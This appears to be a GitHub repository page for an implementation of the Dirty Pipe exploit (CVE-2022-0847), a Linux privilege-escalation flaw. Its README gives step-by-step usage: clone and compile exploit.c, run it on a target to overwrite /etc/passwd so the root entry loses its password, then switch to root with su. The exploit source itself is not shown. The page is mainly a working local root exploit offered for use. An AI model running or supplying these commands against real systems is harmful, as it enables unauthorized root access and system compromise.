Skip to content

Implementation of Max Kellermann's exploit for CVE-2022-0847

Notifications You must be signed in to change notification settings

0xIronGoat/dirty-pipe

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 

Repository files navigation

Dirty Pipe - CVE-2022-0847

This is simply the code and instructions for how to use Max Kellermann's exploit for CVE-2022-0847 (known as Dirty Pipe).

Please go to https://dirtypipe.cm4all.com/ to read more about how to exploit works!

How to use

  1. Download and compile the exploit binary
git clone https://github.com/0xIronGoat/dirty-pipe.git
cd dirty-pipe
gcc exploit.c -o exploit
  1. On the target, run the binary
./exploit /etc/passwd 1 "${$(cat /etc/passwd)/root:x/oot:}"
  1. Switch to root
su

dirtypipe

About

Implementation of Max Kellermann's exploit for CVE-2022-0847

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages